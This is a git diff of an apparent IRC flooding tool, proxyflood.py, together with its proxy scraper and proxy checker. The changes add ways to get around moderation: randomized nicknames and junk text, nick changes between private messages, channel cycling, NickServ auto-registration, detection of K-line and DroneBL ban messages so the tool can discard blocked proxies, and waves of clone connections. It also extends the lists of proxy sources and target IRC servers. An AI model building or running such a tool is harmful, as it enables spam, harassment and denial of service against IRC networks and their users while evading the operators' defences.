diff --git a/config.py b/config.py index 4c7822d..5b0c2a8 100644 --- a/config.py +++ b/config.py @@ -54,16 +54,19 @@ class Config(ComboParser): section = 'flood' self.add_item(section, 'server', str, None, 'irc server address', False) - self.add_item(section, 'target', str, '#flood', 'target to flood (default: #flood)', False) + self.add_item(section, 'target', str, '#flood', 'target to flood', False) self.add_item(section, 'nickserv', str, "nickserv's nickname", '', False) self.add_item(section, 'message', str, None, 'message', False) self.add_item(section, 'threads', int, 1, '# of threads', False) - self.add_item(section, 'register', int, 0, 'register nickname when required (default: false)', False) + self.add_item(section, 'register', int, 0, 'register nickname when required', False) - self.add_item(section, 'once', int, 0, 'quit as soon as possible (default: 0)', False) - self.add_item(section, 'duration', int, 90, 'maximum time to run (default: 90 secs)', False) - self.add_item(section, 'use_ssl', int, 2, 'Use ssl? (0: false, 1: true, 2: random) - default: 2', False) + self.add_item(section, 'once', int, 0, 'quit as soon as possible', False) + self.add_item(section, 'waitonsuccess', int, 0, 'wait for a while on success', False) + self.add_item(section, 'debug', int, 0, 'use debug', False) + self.add_item(section, 'duration', int, 90, 'maximum time to run ', False) + self.add_item(section, 'delay', int, 14400, 'if waitonsuccess, wait for $delay before sending another bot', False) + self.add_item(section, 'use_ssl', int, 2, 'Use ssl? (0: false, 1: true, 2: random)', False) self.add_item(section, 'cycle', int, 0, 'cycle flood', False) - self.add_item(section, 'change_nick', int, 0, 'Change nick between messages (useful when flooding privates) - default: 0', False) - self.add_item(section, 'use_timeout', int, 0, 'make connexions quit through timeout (default: false)', False) - self.add_item(section, 'clones', int, 1, 'Number of connexion repeat to run - default: 1', False) + self.add_item(section, 'change_nick', int, 0, 'Change nick between messages (useful when flooding privates)', False) + self.add_item(section, 'use_timeout', int, 0, 'make connexions quit through timeout', False) + self.add_item(section, 'clones', int, 1, 'Number of connexion repeat to run', False) diff --git a/import.txt b/import.txt index 7fd1cde..2b0f4e0 100644 --- a/import.txt +++ b/import.txt @@ -1,3 +1,35 @@ +https://hidemy.name/en/proxy-list/ +https://hideip.me/en/proxy/socks5list +https://www.proxyrack.com/free-proxy-list/ +https://www.coderduck.com/free-proxy-list +https://www.sslproxies.org/ +https://www.proxylist4all.com/free-proxy-list/free-elite-proxy-list +https://premproxy.com/list/ +https://www.proxynova.com/proxy-server-list/elite-proxies/ +http://proxydb.net/?protocol=http&protocol=https&protocol=socks4&protocol=socks5&anonlvl=1&anonlvl=2&anonlvl=3&anonlvl=4&country= +https://www.my-proxy.com/free-elite-proxy.html +https://spys.one/en/ +http://foxtools.ru/Proxy +https://2ip.ru/proxy/ +https://free-proxy-list.net/ +https://proxy-list.org/english/index.php +https://www.proxy-list.download/HTTP +http://free-proxy.cz/ru/proxylist/country/all/socks5/ping/all +https://www.proxydocker.com/en/socks5-list/ +https://www.proxydocker.com/en/proxylist/type/socks +https://www.proxydocker.com/en/proxylist/anonymity/ELITE +https://www.proxydocker.com/en/proxylist/anonymity/ANONYMOUS +https://www.proxydocker.com/en/proxylist/anonymity/TRANSPARENT +https://sockslist.net/ +https://sockslist.net/proxy/server-socks-hide-ip-address/ +https://sockslist.net/list/proxy-socks-4-list/ +https://sockslist.net/list/proxy-socks-5-list/ +https://50na50.net/ru/proxy/socks5list +https://www.socks-proxy.net/ +https://advanced.name/ru/freeproxy?type=socks5&ddexp4attempt=1 +https://advanced.name/ru/freeproxy +https://top-proxies.ru/free_proxy.php +https://proxy-fresh.ru/ https://www.coderduck.com/free-proxy-list https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks4.txt diff --git a/ppf.py b/ppf.py index 841c55e..9aa913d 100755 --- a/ppf.py +++ b/ppf.py @@ -321,16 +321,16 @@ if __name__ == '__main__': statusmsg = time.time() while True: try: + time.sleep(random.random()/10) if (time.time() - statusmsg) > 180: _log('running %d thread(s) over %d' % (len(threads), config.ppf.threads), 'ppf') statusmsg = time.time() - time.sleep(0.1) if not len(rows): if (time.time() - reqtime) > 3: rows = urldb.execute(qurl, (config.ppf.max_fail, config.ppf.checktime, config.ppf.perfail_checktime, int(time.time()))).fetchall() reqtime = time.time() if len(rows) < config.ppf.threads: - time.sleep(5) + time.sleep(60) rows = [] else: nao = time.time() @@ -345,7 +345,6 @@ if __name__ == '__main__': url, proxylist, stale_count, error, retrievals, content_type, proxies_added, execute = thread.retrieve() new = [] for p in proxylist: - #print(p) if not p in _known_proxies: new.append(p) _known_proxies[p]=1 @@ -363,6 +362,7 @@ if __name__ == '__main__': t = Leechered(row[0], row[1], row[2], row[3], row[4], row[5]) threads.append(t) t.start() + time.sleep(random.random()/100) except KeyboardInterrupt: if watcherd: diff --git a/proxyflood.py b/proxyflood.py index f42fae1..89dcd44 100644 --- a/proxyflood.py +++ b/proxyflood.py @@ -21,6 +21,9 @@ cached_dns = dict() is_target_protected = None default_threads = None +badlist = [] +waitonsuccess = None +has_joined = [] with open('usernames.txt') as h: nicklist = [ nick.strip() for nick in h.readlines() ] @@ -33,7 +36,7 @@ def socks4_resolve(srvname, server_port): srv = srvname if srv in cached_dns: srv = cached_dns[srvname] - if config.watchd.debug: + if config.flood.debug: _log("using cached ip (%s) for %s"%(srv, srvname), "debug") else: dns_fail = False @@ -54,33 +57,60 @@ def socks4_resolve(srvname, server_port): def has_been_lined(recv): recv = recv.lower() - badkw = [ 'banned', 'not welcome', 'dronebl', 'sectoor', 'kline', 'proxy', 'drone' ] + badkw = [ 'banned', 'not welcome', 'dronebl', 'sectoor', 'kline', 'bot/proxy', 'proxy/drone', 'efnetrbl' ] for bkw in badkw: if bkw in recv: return True + return False +def randcrap(msg): + if not '%RANDCRAP%' in msg: return msg + while '%RANDCRAP%' in msg: + crap = '' + chars = string.ascii_letters + string.punctuation + for i in range( random.randint(1,5)): + if len(crap): crap = '%s ' %crap + crap = '%s%s' %(crap, ''.join(random.choice(string.ascii_letters) for x in range(random.randint(1,10)))) + msg = msg.replace('%RANDCRAP%', crap,1) + return msg.lower() + +def ischan(c): + if '%' in c or '#' in c: return True return False def flood(sock): - nick = random.choice(nicklist) + str(random.randint(1000,9999)) - if config.flood.message is not None: msgs = config.flood.message.split(';') + nick = random.choice(nicklist) + global has_joined + if config.flood.message is not None: + msgs = config.flood.message.split(';') + msgs = [ randcrap(msg) for msg in msgs ] + + chans = ','.join( [ i for i in config.flood.target.split(',') if ischan(i) ] ) + nicks = ','.join( [ i for i in config.flood.target.split(',') if not ischan(i) ] ) sock.send('NICK %s\nUSER %s %s localhost :%s\n' %(nick, nick, nick, nick)) ticks = time.time() sent_ping = False - ret = True + #ret = True + ret = False + global is_target_protected + global default_threads + global waitonsuccess + while True: if config.flood.duration > 0: if (time.time() - ticks) > config.flood.duration: break + elif waitonsuccess: break recv = sock.recvline() - if not len(recv): break - elif not ' 372 ' in recv: print(recv.strip()) + if not len(recv): + break + elif not ' 372 ' in recv: + print(recv.strip()) + if has_been_lined(recv): + ret = False + break - #if 'Proxy/Drone' in recv or 'contact kline@' in recv: - # ret = False - # break if recv.startswith('ERROR'): - if has_been_lined(recv): ret = False break elif recv.startswith('PING'): if config.flood.use_timeout: @@ -91,53 +121,68 @@ def flood(sock): _split = recv.split(' ') # irc welcome message if _split[1] == '001': - # target is a chan - if '#' in config.flood.target or '%' in config.flood.target or '%' in config.flood.target: - sock.send('JOIN %s\r\n' % config.flood.target) - - # target is a nick - elif config.flood.message is not None: - if config.flood.change_nick: - for i in range(3): sock.send('PRIVMSG %s :%s\r\nNICK %s\r\n' %(config.flood.target, random.choice(msgs), random.choice(nicklist))) - else: - sock.send('PRIVMSG %s :%s\r\n' % (config.flood.target, random.choice(msgs))) - - if config.flood.once: - sock.send('QUIT\r\n') + send = [] + if config.flood.change_nick and config.flood.message is not None and len(nicks): + for i in range(config.flood.change_nick): send.append('PRIVMSG %s :%s\r\nNICK %s\r\n' %(nicks, random.choice(msgs), random.choice(nicklist))) + if len(chans): + send.append('JOIN %s\r\nPRIVMSG %s :%s\r\n' % (chans, config.flood.target, random.choice(msgs))) + if len(send): + print( '001: sending %s' % '\r\n'.join(send)) + sock.send('\r\n'.join(send)) # end of names list (joined a chan) elif _split[1] == '366': ret = True - if config.flood.message is not None: - if config.flood.change_nick: - for i in range(3): sock.send('PRIVMSG %s :%s\r\nNICK %s\r\n' %(config.flood.target, random.choice(msgs), random.choice(nicklist))) - else: - sock.send('PRIVMSG %s :%s\r\n' % (config.flood.target, random.choice(msgs))) - if config.flood.cycle: - sock.send('PART %s\r\nJOIN %s\r\n' % (_split[3], _split[3])) - #time.sleep(1) + send = [] + c = _split[3] - elif config.flood.once: - sock.send('QUIT\r\n') + if not c in has_joined: + has_joined.append( c ) + + #elif config.flood.message is not None: + # send.append('PRIVMSG %s :%s' %(config.flood.target, random.choice(msgs))) + + if config.flood.cycle: + if config.flood.message is not None: + send.append('PART %s\r\nJOIN %s\r\nPRIVMSG %s :%s' %(c,c,c,random.choice(msgs))) + else: + send.append('PART %s\r\nJOIN %s' %(c,c)) + + if config.flood.once: + send.append('QUIT') + + if len(send): + sock.send('\r\n'.join(send) + '\r\n') + print('366 sent: %s' %'\r\n'.join(send)) + + if config.flood.waitonsuccess: + print('bots should now wait') + waitonsuccess = time.time() # nick reseverd or already used elif _split[1] == '432' or _split[1] == '433': - sock.send('NICK %s\r\n' % random.choice(nicklist)) + sock.send('NICK %s%d\r\n' % (nick,random.randint(1000,9999))) + # code 500 + elif _split[1] == '500': + if 'too many join request' in recv.lower(): break # chan +i elif _split[1] == '473': - global is_target_protected if is_target_protected is not None: break - global default_threads is_target_protected = time.time() default_threads = config.flood.threads config.flood.threads = 1 - print('target is protected, aborting') + print('target is protected (+i), aborting') break # user or chan sets mode +R elif _split[1] == '477' or _split[1] == '531': - if not config.flood.register: break + if not config.flood.register: + is_target_protected = time.time() + default_threads = config.flood.threads + config.flood.threads = 1 + print('target is protected (+R), aborting') + break sock.send('PRIVMSG %s :nick register hunter2 %s@gmail.com\r\n' %(config.flood.nickserv,nick)) time.sleep(1) @@ -164,6 +209,12 @@ class WorkerJob(): self.isoldies = oldies def connect_socket(self): + global badlist + #global waitonsuccess + #if self.proxy in badlist: return False + if config.flood.waitonsuccess and waitonsuccess is not None: + if (time.time() - waitonsuccess) < config.flood.delay: return True + srvname = config.flood.server protos = ['http', 'socks5', 'socks4'] if self.proto is None else [self.proto] use_ssl = random.choice([0,1]) if config.flood.use_ssl == 2 else config.flood.use_ssl @@ -192,10 +243,11 @@ class WorkerJob(): sock.connect() status = flood(sock) print('status: %s' %str(status)) + if not status and not self.proxy in badlist: badlist.append(self.proxy) return status except rocksock.RocksockException as e: - if config.watchd.debug: + if config.flood.debug: _log("proxy failed: %s://%s: %s"%(proto, self.proxy, e.get_errormessage()), 'debug') et = e.get_errortype() @@ -235,7 +287,6 @@ class WorkerJob(): time.sleep(10) return is_target_protected = None - #global config.flood.threads global default_threads config.flood.threads = default_threads @@ -407,11 +458,6 @@ class Proxywatchd(): ret = False _log("success rate: %.2f%%"%success_rate, 'flood') - #self._prep_db() - #query = 'UPDATE proxylist SET failed=?,tested=?,dronebl=?,country=?,proto=?,success_count=?,total_duration=? WHERE proxy=?' - #self.mysqlite.executemany(query, args) - #self.mysqlite.commit() - #self._close_db() self.collected = [] self.totals['submitted'] += len(args) self.totals['success'] += sc diff --git a/proxywatchd.py b/proxywatchd.py index 2e81b2a..493a204 100644 --- a/proxywatchd.py +++ b/proxywatchd.py @@ -77,8 +77,9 @@ class WorkerJob(): if not srv: continue duration = time.time() + #rocksock.RocksockProxyFromURL('socks4://%s' % torhost), proxies = [ - rocksock.RocksockProxyFromURL('socks4://%s' % torhost), + rocksock.RocksockProxyFromURL('socks5://%s' % torhost), rocksock.RocksockProxyFromURL('%s://%s' % (proto, self.proxy)), ] @@ -128,7 +129,8 @@ class WorkerJob(): self.failcount += failinc return try: - recv = sock.recv(6) + #recv = sock.recv(6) + recv = sock.recvline() # good data if re.match('^(:|NOTICE)', recv, re.IGNORECASE): @@ -146,6 +148,9 @@ class WorkerJob(): torstats = "" if len(config.torhosts)==1 else ' tor: %s;'%tor recvstats = "".join([x if x in string.printable and ord(x) > 32 else '.' for x in recv]) _log('%s://%s (%s) d: %.2f sec(s);%s srv: %s; recv: %s' % (proto, self.proxy, self.country, duration, torstats, srv, recvstats), 'xxxxx') + else: + print('bad data: %s' %recv.strip()) + self.failcount += 1 except KeyboardInterrupt as e: raise e except rocksock.RocksockException as e: @@ -210,7 +215,7 @@ class WorkerThread(): elif not self.thread: break if self.done.is_set(): break - time.sleep(0.01) + time.sleep( random.random() / 100) if self.thread: succ_rate = try_div(success_count, job_count)*100 avg_succ_t = try_div(duration_success_total, success_count) @@ -358,13 +363,14 @@ class Proxywatchd(): if self.in_background: wt.start_thread() self.threads.append(wt) - time.sleep( (random.random()/100) ) + #time.sleep( (random.random()/100) ) + time.sleep( (random.random()/10) ) sleeptime = 0 - while True: if self.stopping.is_set(): + print('stopping is_set') if self.in_background: self._cleanup() break @@ -378,6 +384,7 @@ class Proxywatchd(): if self.threads[random.choice(xrange(len(self.threads)))].jobcount() == 0: self.collect_unfinished() if not len(self.jobs): + print('jobs are done ?') self.collect_work() if not self.submit_collected() and self.tor_safeguard: _log("zzZzZzzZ sleeping 1 minute(s) due to tor issues - consider decreasing thread number!", "watchd") diff --git a/scraper.py b/scraper.py index adf2c68..5108fd1 100755 --- a/scraper.py +++ b/scraper.py @@ -41,7 +41,8 @@ def proxyfind(sqlite = None, urignore=None): search = search + random.choice(search_terms) if not len(search): return - search_args = [ 'category=general', 'time_range=%s' % random.choice(['day','week','month','year']), 'q=%s' % urllib.quote_plus(search) ] + #search_args = [ 'category=general', 'time_range=%s' % random.choice(['day','week','month','year']), 'q=%s' % urllib.quote_plus(search) ] + search_args = [ 'category=general', 'time_range=%s' % random.choice(['day','week']), 'q=%s' % urllib.quote_plus(search) ] random.shuffle(search_args) search_arg = '&'.join(search_args) diff --git a/search_terms.txt b/search_terms.txt index a151434..af85aa4 100644 --- a/search_terms.txt +++ b/search_terms.txt @@ -1,27 +1,31 @@ -elite proxylist -elite http proxies -elite socks proxies -anonymous proxies updated -anonymous proxies hourly -anonymous proxies daily -anonymous proxylist updated -anonymous proxylist hourly -anonymous proxylist daily -transparent proxylist fresh -transparent proxylist updated -transparent proxylist hourly -transparent proxylist daily -hourly http proxy -hourly socks proxy -daily http proxy -daily socks proxy -fresh http proxy list -fresh socks proxy list -updated http proxy list -updated socks proxy list -download http proxy -download socks proxy доверенное лицо свежий список прокси http прокси socks прокси +Элитный список прокси +Список элитных носков +список HTTP прокси +Элитный проксилист +элитные прокси +Elite HTTP Proxies +Elite Socks Proxies +Анонимные прокси обновлены +Анонимные прокси почасовые +Анонимные прокси в день +Анонимный проксилист обновлен +Анонимный проксилист почасовой +Анонимный проксилист в день +Прозрачный проксилист свежий +Прозрачный проксилист обновлен +прозрачный проксилист почасовой +прозрачный проксилист в день +почасовой http прокси +Почасовые носки прокси +Ежедневный HTTP Proxy +Ежедневные носки прокси +Свежий список прокси +Свежие носки прокси +Обновлен список HTTP Proxy +Обновленные носки прокси +Скачать HTTP Proxy +Скачать Socks Proxy diff --git a/searx.instances b/searx.instances index 75c1dc1..bae2bcb 100644 --- a/searx.instances +++ b/searx.instances @@ -1,4 +1,9 @@ https://searx.xyz +https://searx.be +https://searx.bar +https://searx.prvcy.eu +https://searx.info +https://metasearch.nl #https://searx.site #https://searx.win #https://searx.ru diff --git a/servers.txt b/servers.txt index 9819853..ed3fb65 100644 --- a/servers.txt +++ b/servers.txt @@ -60,13 +60,11 @@ irc.spacetronix.net irc.st-city.net irc.starlink-irc.org irc.starlink.org -irc.staynet.org irc.swiftirc.net irc.teranova.net irc.us.dal.net irc.us.gamesurge.net irc.xevion.net -irc.xs4all.nl irc.zerofuzion.net uk.quakenet.org us.quakenet.org